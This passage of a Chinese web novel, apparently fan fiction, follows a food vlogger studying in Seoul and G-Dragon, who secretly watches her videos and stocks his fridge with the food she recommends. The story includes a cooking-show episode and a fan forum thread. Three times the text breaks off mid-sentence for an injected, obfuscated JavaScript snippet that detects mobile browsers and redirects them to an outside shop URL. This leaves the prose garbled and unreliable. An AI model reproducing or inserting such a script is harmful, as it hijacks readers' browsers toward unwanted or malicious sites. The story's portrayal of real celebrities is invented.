衣帽间不大,但是被塞得满满当当。左边是衣服,风格从“精致大小姐”到“下楼扔垃圾”无缝切换。右边是一整面墙的包包,从几十块钱的帆布袋到几万块的奢侈品,混在一起,像开了一个不按常理出牌的中古店。 梳妆台呢?基本上全是护肤品。只有五六只口红,东倒西歪地挤在一个小杯子里。 再就是书桌,桌上摆着笔记本电脑、相机、笔筒,还有一摞便签纸。墙上贴着一张首尔的地图,用红笔圈了几个地方——学校、超市、宠物医院、美食街、花店。 “这张地图是我自己画的,”金欢指着地图,“红圈是常去的地方,蓝圈是想去还没去的。” 镜头拉近,观众看到地图上有一个蓝圈,旁边写着“南山塔”。 阳台是金欢最得意的地方,被她布置成了一个小花园。各种绿植挤在架子上和角落里,绿油油的一片,看着就让人心情好,像把一小块春天搬到了家里。 “这是紫苏,”金欢指着一盆叶子,“这是罗勒,这是薄荷,这是迷迭香。以后做菜的时候可以直接摘,新鲜又方便。不用去超市买一把,用不完就烂了。” 她又指了指角落里几盆绿植:“这些是发财树,招财的。虽然我也不知道它们有没有真的招到财,但摆着好看,图个吉利。还有这个——” 镜头对准一盆叶子有点特别的植物。 “猫薄荷。” 金欢把镜头拉近,观众可以看到初一正蹲在旁边,整只猫凑在花盆前,鼻子不停地嗅着,表情迷离,眼神涣散,完全是一副“我好像在哪见过你”的上头状态,像喝了两斤二锅头。 金欢无奈地笑了:“初一自从发现了这盆猫薄荷,就几乎不离身了。我每天早上起来都看到它蹲在这儿,你们看它那个表情,是不是特别像那种酒吧里喝大了的人?” 初一舔了舔嘴唇,眼睛眯成一条缝,整只猫像被钉在了猫薄荷旁边。 金欢对着镜头叹了口气,语气沉痛:“朋友们,我的猫可能成瘾了。但我不知道该不该管,因为它看起来真的很开心。你说我怎么忍心把一个快乐的人......哦不,快乐的猫从它的快乐源泉旁边拉开?这是猫权问题。” 【哈哈哈哈哈哈初一的脸上写满了“爽”字】 【猫薄荷对猫来说就是快乐源泉+1】 【金欢你管管你女儿啊!她中毒了!】 【初一:妈妈你不要管我,我在修行,我在冥想,我在寻找猫生的真谛】 金欢继续介绍阳台上的植物,语气忽然变得哀怨起来,像在念悼词。“但是你们知道吗?这些花花草草,花了我好多钱。” 她拿起一盆迷迭香,对着镜头,表情痛苦:“这一小盆,在韩国要一万五韩元。你们算算,一万五韩元是多少人民币?八十多块!八十多块!我在北京楼下花店,能买一大把!” “但没办法,还是得买。因为我需要它们。紫苏包肉吃,罗勒做青酱,薄荷泡水,迷迭香烤牛排。没有它们,我做饭都不香了。巧妇难为无香料之炊,懂吗?” 她顿了顿,补充了一句,表情严肃:“所以这不是消费,这是投资。投资在我的厨艺上,投资在我的生活质量上,投资在我家猫的心理健康上。这个逻辑,完美。” 【哈哈哈哈哈哈金欢你的歪理一套一套的,但我竟然被说服了】 【说得对!这是投资!不是消费!】 【我也想拥有一个这样的小花园!】 【初一:妈妈说的对,猫薄荷是刚需】 金欢站在阳台上,阳光洒在她脸上,她眯着眼睛笑了笑。 “好啦,今天的roomtour就到这里。接下来我会拍一系列‘留韩日常’的视频,带你们看看我在首尔的生活。想看什么可以在评论区告诉我。” 她对着镜头挥了挥手。 “拜拜,记得点赞投币收藏。不然我就让初一去咬你们。” ———————— 早上七点,闹钟响了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17484920|201952||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 金欢从被子里伸出一只手,摸到手机,按掉闹钟,又缩了回去。整个人像一只冬眠的熊,被子是她的洞。 初一踩在她胸口上,用爪子拍她的脸。力道不大不小,刚好够把她从深度睡眠里捞出来。 “五分钟,”金欢闭着眼睛嘟囔,声音含糊得像在说梦话,“再睡五分钟。” 初一又拍了一下,这次力道加重了。 “三分钟。” 初一直接跳到了她的脸上。整只猫,四只爪子,精准着陆,覆盖了她的口鼻。 金欢:“……行行行,起起起。你是猫还是闹钟?你比闹钟还管用,闹钟我还能按掉,你我按不掉。” 金欢认命地起床,走进厨房,给初一和五一准备好猫粮狗粮。然后自己烤了两片面包,抹上草莓酱,倒了一杯牛奶。 坐在阳台上,一边吃早餐一边看天空。初一吃完了猫粮又回到了猫薄荷旁边,整只猫又进入了那种“迷离”的状态。 她对着镜头说:“朋友们,现在是早上七点半,我刚起床,还没洗脸,头发像个鸡窝,脸上还有枕头印。谁要是早上七点化全妆去上课,我敬她是条汉子。” 她咬了一口面包,嚼了嚼,咽下去,皱了皱眉。 “这个草莓酱是我在超市随便买的,味道一般,太甜了,草莓味不自然。下次换一个牌子。面包烤得有点过了,边缘有点焦,但没关系,焦香焦香的也挺好吃。我跟你们说,面包烤焦了不要扔,刮一刮还能吃,这叫节约粮食。” 她吃完早餐,去洗漱。 镜头里,她站在洗手台前刷牙洗脸,动作随意,但看起来赏心悦目。 【金欢素颜也太好看了吧!这是什么神仙皮肤!】 【这个皮肤状态绝了!她真的什么都没涂吗?】 【眼角红痣是我的审美狙击,太好看了!】 【她真的不化妆吗?这是素颜???我不信!——好吧我信了,因为她连防晒都没涂】 金欢洗完脸,对着镜子看了看自己,然后对着镜头说:“我真的没化妆,连防晒都没涂,因为我忘了买。一会儿去学校的路上买。不涂防晒在首尔会被晒黑的,这边的紫外线不讲道理。” 金欢路过一家便利店,进去买了一瓶水和一支防晒霜。 “这个防晒霜,”她对着镜头晃了晃,“我不知道好不好用,先试试,好用再跟你们说。不好用就当交学费了。” 金欢刚到正门,就被满墙立体梨花浮雕撞进眼里,灰墙白花清冽高级,抬眼便是哥特式教学楼,两侧是郁郁葱葱的树木。 “好漂亮,”她小声说,然后对着镜头笑了笑,“朋友们,这是我的学校,我要在这里待一年半。一年半后我能不能毕业不好说,但这期间我一定会在这里拍很多好看的照片。” 她走进教学楼,找到教室,推门进去。教室里已经坐了一些学生,大部分是女生,化着精致的妆,穿着漂亮的衣服。她把相机架在桌上,对着镜头小声说:“朋友们,你们看到了吗?全班只有我一个人没化妆。但没关系,我不在乎。她们画她们的,我懒我的。各美其美,美美与共。” 上午的课结束了,金欢走出教室,在校园里找了一个树荫下的长椅,坐下来吃午饭——她早上做的紫菜包饭。 她对着镜头说:“朋友们,这就是我的午饭,自己做的紫菜包饭。卖相一般,但味道不错。卖相为什么一般呢?因为我切的时候太懒了,没切整齐,大小不一。但味道是一样的,不影响吃。” 她咬了一口,嚼了嚼,点了点头:“嗯,确实不错。里面包了牛油果、鸡蛋、黄瓜、胡萝卜,还有午餐肉。营养均衡,颜色好看。下次多做一个,可以当晚饭。” 她吃完饭,去图书馆剪视频。坐在图书馆的角落里,戴着耳机,对着电脑屏幕,专注地剪着视频。 镜头里,她的侧脸很好看。阳光透过窗户洒在她的脸上。 【这个侧脸绝了!】 【金欢你真的好漂亮!】 【她专注的时候好迷人!】 7. 冰箱里的秘密(1) 权至龙觉得自己可能疯了。凌晨两点半,第五次点开了同一个视频。视频里,金欢正在家里,对着一盘红烧排骨认真地说:“朋友们,做排骨呢,最重要的是耐心。你得等它慢慢炖,急不来。就像追人一样,你越急,人家跑得越快。” “但也不能太慢,”视频里的金欢话锋一转,夹起一块排骨,对着镜头露出一个狡黠的笑,“火候过了,肉就老了。所以关键是,你得知道什么时候该出手。” 她把排骨放进嘴里,嚼了两下。 “嗯!这个火候,刚刚好。” 权至龙笑着盯着屏幕,手指无意识地摩挲着下巴。明明是在说吃的,却好像在说什么人生哲理。 他退出这个视频,又点开了另一个。这是金欢早期的“日常废话”系列,她坐在北京家里的客厅,一边吃零食一边跟粉丝聊天。 “今天跟大家聊聊我为什么懒,”她盘腿坐在沙发上,怀里抱着一袋薯片,“不是我不想勤快,是勤快太累了。你们知道吗,一个人如果从出生就开始躺平,那她的人生就是完美的。因为起点就是终点,永远不会退步。” 权至龙笑出了声,他关注金欢的社媒账号已经有一阵子了。 用的是小号。没有头像,名字是5211018,关注列表里只有金欢一个人。常常是点赞转发一条龙。 每天工作结束之后,就会打开她的主页,看她新发的视频。有时候一个视频看一遍不够,他会反复看,看两遍、三遍、五遍。 看到她对着镜头说“今天不想做饭,点外卖吧,做人最重要的是放过自己”的时候,他会笑。看到她家的猫初一踩在她脸上把她叫醒,她一脸生无可恋地说“你是猫还是闹钟”的时候,他也会笑。 笑完之后,他会把手机放下,盯着天花板发呆,心想:我到底在笑什么?他不知道。他只知道金欢说话很有意思,看她视频的时候,他会忘记烦恼。 这天下午,权至龙在YG大楼的走廊里等电梯,戴着帽子和口罩,低着头看手机。屏幕上又是金欢的视频,她正在教怎么做糖醋排骨,说“糖醋汁的比例是关键,一比二比三比四,一勺料酒两勺生抽三勺糖四勺醋,记住了吗?记不住也没关系,收藏一下,下次做的时候再看”。 “一勺料酒两勺生抽三勺糖四勺醋,”他小声念了一遍,然后点了点头,“记住了。” 电梯门开了,永培站在里面,看了他一眼。“你在看什么?” 权至龙迅速把手机屏幕按灭,像做了什么亏心事,“没什么。” “你最近老是对着手机笑,”永培说,带着点八卦的语气,“而且笑得特别……奇怪。” “哪里奇怪了?” “就是那种,”永培想了想,“看着喜欢的人在玩闹,你在旁白看着一样。” “你在看谁?”永培问。 “没有谁。” “是吗?”永培没有追问,“那你这几天为什么总在问一些中国菜的做法?昨天还问我知不知道老干妈是什么。” “我就是好奇。” “你一个从不进厨房的人,好奇这个干嘛?” 权至龙没有回答,电梯门开了,他快步走出去,留下一句:“你想多了。” 永培心想认识权至龙快二十年了,从练习生时期就一起熬过来。权至龙什么状态他没见过的?兴奋的、疲惫的、低落的、意气风发的......但从来没有像现在这样。 这样……莫名其妙地开心,像一个偷偷藏了糖果的小孩。 同时,李朱赫也发现了端倪。权至龙约他吃饭,两个人在一家烤肉店坐下来。肉刚上桌,权至龙的手机响了。 “谁的消息?”李朱赫问。 “没谁,”权至龙把手机翻过去,屏幕朝下扣在桌上,“推送通知而已。” 推送通知会让你笑成这样?李朱赫没有戳穿。他夹了一片肉放进烤盘,慢悠悠地说:“你最近是不是在关注什么人?” 权至龙夹肉的手顿了一下,“什么关注什么人?” “就是,”李朱赫想了想措辞,“某种……让你觉得很有意思的人。” “没有。” “是吗,”李朱赫点头,没有继续追问,在心里记下了这件事。后来他又观察了几次,发现权至龙会突然对着手机笑,笑完之后会迅速把手机收起来,好像做了什么见不得人的事。而且他开始对中国食物产生了莫名的兴趣。有一次吃饭的时候,他突然问李朱赫:“你有没有吃过一道叫红烧排骨的中国菜?” 李朱赫看了他一眼:“吃过。怎么了?” “好吃吗?” “挺好吃的。” “你知道怎么做吗?” “……你问这个干什么?” “没什么,就是好奇。” 李朱赫没有再说什么,但他心里已经有了一个猜测,能让权至龙这样的人,大概只有一种可能。 而那个“红烧排骨”,他总觉得在哪儿见过。后来他想起来了,金欢的社媒上,好像发过一个红烧排骨的视频。 李朱赫打开手机,翻了翻金欢的主页,找到了那个视频。发布日期是两周前。 他想了想权至龙开始对中国食物感兴趣的节点,对得上。 原来如此,有意思。这个事,他得好好吃瓜。 《拜托了冰箱》是一档美食脱口秀综艺节目,每期邀请两位嘉宾,将嘉宾家中的冰箱搬到录制现场,由八位主厨根据冰箱现有食材,进行15分钟限时创意料理对决。 伴随着两位MC的开场白,先介绍了8位做料理的主厨军团,简单聊了几句,就结婚话题让这位即将步入婚姻的主厨享受最后的四天单身吧,李连福主厨表示结婚是登喜马拉雅山的心情,要堵上性命,越走越危险,搞不好会丢了性命。大家调侃了几句。 接下来步入正题,金成柱MC:“为大家介绍全球化艺人两位!今天冰箱的主人... 会是谁呢?”镜头给到工作人员搬冰箱的画面。 伴随着《BangBangBang》的背景音乐,权至龙和永培闪亮登场,我们权巨星今日装扮是黑色T恤加紧身直筒牛仔裤,定着一头橘发,格外帅气,看起来起来状态很放松。 郑哼墩把权至龙背到位置上,金成柱表示:“莫呀?看起来有点对不起永培啊。” 郑哼墩淡定开口:“因为是我的亲弟弟啊。” “你的眼睛鼻子嘴巴~” 金成柱开唱永培的《眼鼻嘴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17484921|201952||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 》,表情搞笑得让人忍不住想笑。“他就是灵魂充满气氛流氓永培!” 气氛流氓,哈哈哈哈哈哈。 永培礼貌客气的跟大家打招呼。 介绍完永培之后,开始介绍权至龙:“歌谣界,典型的努力型艺人......通过十分的努力量......all kill所有榜单,今天的时尚,嗯,还说的过去——wuliGD!” “阿尼哈撒呦,我是郑哼墩先生以前的男人鸡德来滚!” 哈哈哈哈哈哈哈哈哈哈! 另一位MC金成柱问权至龙有没有看过节目,权至龙表示:“看了节目,那个郑...谁来的......” “郑哼墩xi。” 权至龙接过话:“阿尼,因为是节目粉丝才出演的。” 零钱cp开始推拉了起来。 调侃聊完之后就进入了正式话题,先采访了永培,然后金成柱MC问:“从练习生时期就开始同苦同难到现在多久了?” 权至龙:“十五年了。” 郑哼墩:“所以真的知道对方所有吗,能不能说一个对方的缺点。” 永培:“我怕我说了这个的话,形象会有所损害,被至龙的粉丝殴打。” 这话一出,大家嗅到了瓜瓜的味道,感觉大事不妙的权至龙拧开瓶子喝了一口水掩饰不安紧张。 永培终于说了:“就是至龙嘴……真的很贱!” 周围人开始起哄,要好好听一听,哈哈哈的笑声与掌声瞬间响彻。 他继续解释道:“希望所有人都知道,甚至希望事情引起轩然大波,就跟至龙说,传出去绝对没问题。” “我们都说至龙的嘴只有10块钱,但是最近他自己说自己嘴比以前严了。” Ps:确实,暗恋的小秘密一点也不说,但是行为上全暴露了。 权至龙插嘴道:“得有500块了吧!” 众人看向权至龙,权至龙狡辩道:“成员们不是都知道我的性格吗?但是总是跟我说一些秘密,我感觉就是故意让我说出去的。” “所以我想既然要说,那就说的更有意思一点,就添油加醋了。” 众人表示大开眼界:“还带添油加醋的?” 永培:“从知道到传出来差不多只需要五个小时。” 郑哼墩精辟总结:“所以YG的新闻是从GD嘴里传出去的吧,最近有什么想要说的瓜吗?” 永培笑眯眯地说:“呀,至龙嘴巴最近真的值钱了,都好久没爆了,不过最近至龙总是不自觉的笑。” 金成柱瞬间开始拷问权至龙:“至龙啊,为什么不自觉笑呀。” 权至龙脸瞬间红温:“没有啦,只是看到好笑的段子,还有粉丝的视频。” 郑哼墩连忙给权至龙解围:“GD你有没有什么猛料,永培都说你嘴贱了。 权至龙想了想:“永培就像看到的那样,特别的正直的朋友,没有什么……硬说,有点喜欢吃独食。” “我们演唱会的时候,怕我们饿肚子,在待机室准备了很多零食,公演结束永培把零食都放自己包里,要是想吃什么,去打开永培的包,里面全是。” 永培笑道:“这样讲显得我很没品。” 8. 冰箱里的秘密(2) 接下来进入正题,先打开的是永培的冰箱。 永培有三台冰箱,比权至龙多一台,不过永培的是三个单开门的,权至龙的是一个双开的,一个单开门的。 “不喜欢冰箱里的食材混合在一起,会分类摆放。” 冰箱非常干净整洁,可见永培是个懂料理会收纳的人。之后节目组对永培的冰箱进行一番介绍,发现了红酒,权至龙说:“他们正在收集出生年份1988年的红酒。” 接下来就发现永培冰箱里的粉红手套,永培觉得是妈妈整理冰箱的时候不小心放进去的,节目组丧心病狂地直接打电话给永培妈妈询问,永培妈妈在电话里承认手套是她放的,完美化解里危机。之后就是15分钟限时厨艺比拼。 权至龙品尝了利用永培冰箱食材做出的美食,超级享受,觉得很好吃,很会形容美食啊。 很快就到了权至龙的冰箱,郑哼墩上来就先吐槽:“GD的口味规格并不高啊,可以说是10块钱的口味吧。最近比较喜欢什么食物?” 权至龙笑着说:“我最近对中国食物比较感兴趣。” “中国食物?”金成柱好奇地问。 “网上看到的,”他说,“觉得很有意思。” “OK!那我们开始吧!”郑哼墩说,“出道后首次展示冰箱,让我们看看GD的冰箱里到底有什么!” 冰箱里整整齐齐,调料区、水果区,分类清楚。 但真正让人注意的,是冰箱门上的储物格,摆放着一瓶老干妈、一包真空包装的北京烤鸭、一盒即食的麻辣烫底料,还有一小袋写着中文的干货。 郑哼墩拿起来,惊讶地说:“老干妈?!至龙啊,你吃这个?” 权至龙面不改色:“嗯,最近觉得挺好吃的。” “你一个韩国人,冰箱里出现老干妈?”瞪大了眼睛,一脸不可思议,“这是什么画风?你不是应该放泡菜、大酱吗?” “泡菜在下面,”权至龙淡定地说,指了指冷藏室的最底层,“老干妈是最近才开始吃的。拌饭很好吃。” 郑哼墩拿起那袋干货,看了看包装:“这是……红枣?还有枸杞?” “嗯,”权至龙点头,“泡水喝,对身体好。” 郑哼墩震惊了:“至龙啊,你怎么突然开始养生了?你不是只喝咖啡和酒的吗?” “年纪到了,”权至龙说,语气理所当然。 金成柱看了看权至龙:“你知道这是什么做的吗?” 永培放下水杯,看着权至龙,慢悠悠开口:“至龙啊,你冰箱里的这些东西,该不会是从什么视频里看来的吧?” 权至龙的耳朵动了动,但他面上没有任何变化:“什么视频?” “就是那种……”永培想了想,“美食博主的视频?我好像在哪儿看到过,有个中国博主专门教做菜的,说话特别有意思。你该不会是在看她的视频吧?” 权至龙的耳朵尖开始泛红了:“是吗?我不太看那些。” “哦,那可能是我想多了。不过你冰箱里的这些东西,跟她视频里推荐过的,还真是有点像。” 永培顿了顿,补充了一句:“巧合吧。” 权至龙没有说话,但他的耳朵尖一直是红的。 郑哼墩和金成柱虽然觉得气氛有点奇怪,准备问问,但被冰箱里的三大美食吸引住了。 松露超级大,而且权至龙的吃法超级粗暴,煎蛋配松露,暴殄天物,壕无人性,不愧是GD。 鲍鱼也大的令主厨团震惊,是市面上买不到的存在。 金成柱在一翻,发现了鹅肝、鱼子酱。 崔英锡主厨对鱼子酱非常了解,科普的同时,筷子已经不自觉地拿起来了,顺便请求GD能不能尝一下。 权至龙笑笑:“请用。” 吃法也是暴殄天物,直接放进土豆泥里或者放在巧克力薄饼上。 紧接着主持人翻看冷冻层,更是重量级地,刀鱼、鳕鱼等等。 再之后进行了两次厨艺PK,权至龙听到李连福主厨做的是中国菜饺子,超级感兴趣。 李连福主厨解释:“饺子在中国有‘更岁交子’的意思,过年的时候全家人一起包饺子,象征着团圆。” “饺子?”权至龙来了兴趣,身体微微前倾,“我看过饺子的视频。” 权至龙直接走到料理台前观看。。 面团醒好了,李连福把它搓成长条,揪成小剂子,擀成饺子皮,然后开始包饺子。手指翻飞间,一个半月形的饺子就成型了,褶皱均匀。 权至龙不自觉地往前探了探身子。 “你想试试吗?”李连福主厨看到他的表情,问道。 权至龙犹豫了一下,点了点头。 李连福递给他一张饺子皮,权至龙拿起小勺子,舀了一勺馅放在皮中央。 “馅不要太多,容易漏,”李连福主厨在旁边指导,“对折,先捏中间,再从两边往中间捏褶。” 权至龙笨手笨脚地捏着,在琴键上灵活得像游鱼的手,在饺子皮面前却像是戴了厚厚手套。捏了半天,包出来的饺子歪歪扭扭。 郑哼墩笑得前仰后合:“莫呀,至龙啊,你这个是什么?” 权至龙看着自己手里的“作品”,耳朵又红了。 但他没有扔掉,而是小心翼翼地把它放在托盘上,和李连福包的漂亮饺子排在一起。 “没关系,”李连福主厨笑着说,“第一次包能包成这样已经很好了。我见过有人包成面疙瘩的。” 永培在座位上悠悠地来了一句:“至龙最近对中国的东西都很上心啊。不光是中国食物,连中国博主都……” 权至龙回头看了他一眼,眼神带着警告。 饺子下锅了,沸水里,白色的饺子翻滚着,李连福点了两次凉水,第三次沸腾的时候,他用漏勺把饺子捞出来,装盘。 权至龙夹起一个饺子咬了一口,饺子的皮薄而有韧劲,馅料鲜嫩多汁。 好吃得权至龙眼睛亮了。 “好吃。”他说,然后又夹了一个。这次他夹的是自己包的那个歪歪扭扭的饺子。 权至龙看着那个被咬了一口的“作品”,嘴角翘了起来。 郑哼墩问道:“至龙啊,你觉得饺子怎么样?跟韩国的饺子有什么不同?” “韩国饺子一般是蒸的或者煎的,这个是水煮的,”权至龙想了想,“皮更薄,馅更多汁。而且蘸醋和酱油吃,味道很特别。” “你连蘸料都知道?”金成柱惊讶道 。 “我在……网上看到过。”权至龙说,“饺子要配醋,加一点蒜末和香油,还有辣椒。” 李连福主厨赞许地点头:“说得对。看来你对中餐真的很了解。” 录制结束后,权至龙把自子包得饺子照片发到ins,引起粉丝讨论。 [讨论] G-Dragon今天在《拜冰》里的表现是不是有点不对劲? 楼主 rt,刚看完最新一期《拜冰》,GD的冰箱里出现了老干妈、红枣、枸杞、麻辣烫底料……他自己说最近对中国食物比较感兴趣。 但是姐妹们,你们不觉得奇怪吗?他以前从来没提过对中国食物感兴趣啊!而且他居然知道老干妈的配料表!一个韩国人知道老干妈的配料表??? 还有,永培说了一句“你冰箱里的这些东西该不会是从什么视频里看来的吧”,GD的耳朵当场就红了!!!红了!!!我截图了!!![图片][图片][图片][图片][图片] 有没有人跟我一样觉得这里面有故事??? 1L:前排占座!我也看到了!他耳朵红的那一段我反复看了!!! 2L:楼主你不是一个人。我也觉得不对劲。 3L:等等,永培说的那个博主是谁?有没有人知道? 4L:不知道,永培没提名字。可能只是随口一说吧? 5L:你们是不是想多了?欧巴可能就是最近迷上了中国食物而已。他以前没提过,不代表现在不能喜欢啊,人都是会变的嘛。 6L:同意楼上。而且老干妈在国外本来就很火啊,很多外国人都在吃。冰箱里有一瓶老干妈而已,至于这么大惊小怪吗? 7L:但是红枣枸杞呢?韩国人冰箱里出现红枣枸杞,你们真的觉得很正常? 8L:回楼上,为什么不能正常?养生又不是中国人的专利。欧巴年纪也不小了,开始养生不是很正常吗? 9L:我也觉得大家想多了,欧巴要是真的有女朋友,狗仔早就拍到了。他这个级别的爱豆,藏不住的。 10L:就是就是,说不定只是节目效果,综艺嘛,总要有点话题。 11L:等等,你们有没有注意到,永培说你冰箱里的这些东西该不会是从什么视频里看来的吧的时候,GD的反应不是否认,而是沉默、耳红。如果他真的只是单纯喜欢中国食物,完全可以大大方方说是啊我最近在看美食视频啊。为什么不敢承认? 12L:回楼上,因为他可能不想暴露自己看的是什么视频?万一是什么奇怪的频道呢kkkkkkk...... 13L:说到中国美食博主,我好像知道一个……叫金欢的,在国内挺火的。她视频里经常出现老干妈、红枣枸杞这些东西。 14L:楼上你一说我想起来了!金欢!我关注她很久了,她说话特别逗。之前有个视频专门讲她的留学必备,里面就提到了老 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17484922|201952||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 干妈、红枣、枸杞,还说这是她的命。 15L:所以GD冰箱里的东西,跟金欢视频里推荐的一模一样??? 16L:巧合吧?中国食物不就那几样吗…… 17L:不是巧合吧。老干妈和红枣枸杞也就算了,北京烤鸭呢?麻辣烫底料呢?这些东西出现在一个韩国人的冰箱里,真的很奇怪啊。 18L:你们别猜了,GD不可能喜欢一个中国博主的。他要什么女朋友没有,怎么可能在喜欢一个博主?太离谱了。 19L:就是,粉丝别给自己加戏了。GD的取向一直是樱花妹,从来没听说他对熊猫妹感兴趣。 20L:而且金欢也不是他的类型吧?GD不是一直喜欢长相独特的女生吗,金欢的风格太中式了吧......太接地气了吧。 21L:等等,什么叫不是他的类型?你们又不认识GD,怎么知道他的类型是什么? 22L:就是,人喜欢什么类型,他自己说了才算。你们替他排除什么呢? 23L:我是中国粉丝,看到这一幕只想说:我们大明湖畔的夏雨荷终于有姓名了!!GD你冰箱里的老干妈是金欢同款你知道吗!!!金欢是谁?是国内一个特别好玩的美食博主!她说话跟讲相声似的,看她视频能笑到肚子疼。要是GD真的在看她的视频,那我只能说,欧巴你品味不错!!! 24L:楼上你清醒一点!GD怎么可能看金欢的视频!他又不懂中文! 25L:回楼上,金欢的视频有韩语字幕啊。她来韩国留学之后,所有的视频都配了韩语字幕,可能是为了方便韩国粉丝看,所以欧巴完全看得懂。 26L:卧槽,有韩语字幕??那还真有可能…… 27L:GD的冰箱里出现了金欢视频里推荐过的所有东西。这个事情本身就已经很好笑了,不管他是不是在看她的视频,这个巧合都足够让我笑一年。 28L:支持楼上!管他什么原因呢,反正这期《拜冰》我看得很开心。GD耳朵红的样子太可爱了哈哈哈哈哈哈。 ...... 70L:我是楼主,看了大家的讨论,我觉得这事有两种可能: 1. GD真的在看金欢的视频,被她种草了这些中国食物。 2. 纯属巧合,他就是最近对中国食物感兴趣而已。 不管是哪种可能,我都觉得很好笑,但如果是第一种……那这个故事也太甜了吧??? 一个顶级爱豆,刷一个中国博主的视频,然后把她推荐的东西一样一样买回来塞进自己的冰箱……这是什么纯情男高剧情啊!!! 71L:楼主你不要再脑补了!我心脏受不了! 72L:冷静一点吧各位,说不定GD澄清说我只是喜欢吃老干妈而已,没有在看任何人的视频。到时候你们就都尴尬了。 73L:那又怎样?尴尬就尴尬呗,反正我们磕得很开心。 74L:不行了我要去关注金欢了,我倒要看看这个博主到底有什么魔力,能让GD的冰箱变成这样。 75L:楼上你去了就知道了,她真的很好笑。 76L:我已经在看了,看了三个视频,笑得肚子疼。她怎么这么逗啊哈哈哈哈哈哈。 77L:金欢粉丝路过,看到这个帖子一脸懵逼。所以GD到底有没有在看金欢的视频?我们欢欢知道这件事吗? 78L:应该不知道吧。她好像不怎么关注韩国娱乐圈。之前有个视频里有人问她知不知道GD,她说知道啊,我好闺闺喜欢他,但不是我喜欢的类型。哈哈哈哈哈哈她说GD不是她的菜。 79L:什么???她说GD不是她的菜??? 80L:对,原话是权至龙?我知道啊,我朋友喜欢他。他长得挺帅的,但不是我的菜。 81L:233333333!如果GD真的在看她的视频,那这句话他也看到了??? 82L:卧槽!细思极恐!如果GD真的看了那个视频,那他看到金欢说“不是我的菜”的时候是什么反应? 83L:想象一下:GD半夜刷视频,刷到一个女孩,觉得很有意思,然后那个女孩在视频里说权至龙不是我的菜……他会不会当场把手机摔了2333333。 84L:你们不要这样!我笑到打鸣了!!! 85L:所以最后结论是什么?GD到底有没有在看金欢的视频? 86L:结论就是:不知道。但不管有没有,这件事都很好笑。 87L:好了好了,散了吧散了吧。我去刷金欢的视频了。 88L:楼主最后说一句:老干妈配饭,真的很好吃。 ——帖子暂封—— 9. 留学日常 金欢来首尔两个月了,生活逐渐形成了固定的节奏。 周一到周三,老老实实去学校上课。她每次都坐在教室最后一排的角落里,方便下课第一个冲出去......好吧,主要害怕影响自己干饭,干饭人,干饭魂。上课的时候会架一个GoPro在桌上,拍一些上课的素材,剪进视频里。 “给你们看看我的笔记,”她把镜头对准笔记本,上面密密麻麻写满了字,中韩夹杂,偶尔还有几个英语单词,“你们别问我写了什么,我自己回头也看不懂。但我写了,这个态度很重要。” 大家一开始觉得她很奇怪,天天不化妆就来上课,下课后也不怎么参加课后聚餐,直接消失。但后来大家发现她人其实挺好的,谁问她借笔记她都会发,小组作业从来不拖ddl,说话也很有意思。 “她不是高冷,”朴智妍跟别人解释,“她是懒。社交太累了,她要把电量留着做别的事。” “什么事?”别人问。 “躺平。” 朴智妍说得没错,金欢的周末,基本就是躺在床上度过的。 周六早上,初一照例踩着她的脸把她叫醒。金欢迷迷糊糊地伸手把初一从脸上扒下来,翻了个身,继续睡。五一在床边转了两圈,见她不动,直接跳上床,把脑袋拱进她的被窝里,用湿漉漉的鼻子拱她的脸。 “五一……你妈还没睡醒……你让妈妈再睡一会儿……” 五一不听,继续拱。 金欢叹了口气,坐起来。 “行行行,起起起。你们一个两个的,比我妈还管得宽,天天早上就像打仗一样......啊啊啊啊啊啊崩溃,真是养了俩祖宗。” 她趿拉着拖鞋走进厨房,给初一和五一准备好粮和水,然后自己烤了两片面包,抹上家里人寄草莓酱,每一口都能吃到真实的草莓颗粒,超满足。 痛苦得一头开始了......今天是周末,没有那么痛苦。 金欢端着盘子走到阳台上,初一照例蹲在猫薄荷旁边,整只猫又进入了那种迷离的状态。五一趴在她脚边,尾巴有一搭没一搭地摇着。 吃完早餐,刷了会儿手机,然后就决定今天不出门了。 “朋友们,”她对着镜头认真地说,“今天的计划是——没有计划。我要在床上躺一天。你们知道的,我是一个低电量的人,周一到周三上学已经把我榨干了,周四周五剪视频又榨了一遍,周六我必须躺平,不然周日就没法活了。” 她说完,真的爬回了床上,盖好被子,打开iPad,开始追剧。 初一不知道什么时候也跳上了床,窝在她腿弯里,发出满足的呼噜声。五一趴在床边的地毯上,下巴搁在她的拖鞋上。 一猫一狗一人,就这么躺了一整个上午。 下午两点,金欢终于从床上爬起来了——饿得不能不动了。 她翻了一下冰箱,发现没什么现成的东西可以吃,决定出门觅食。 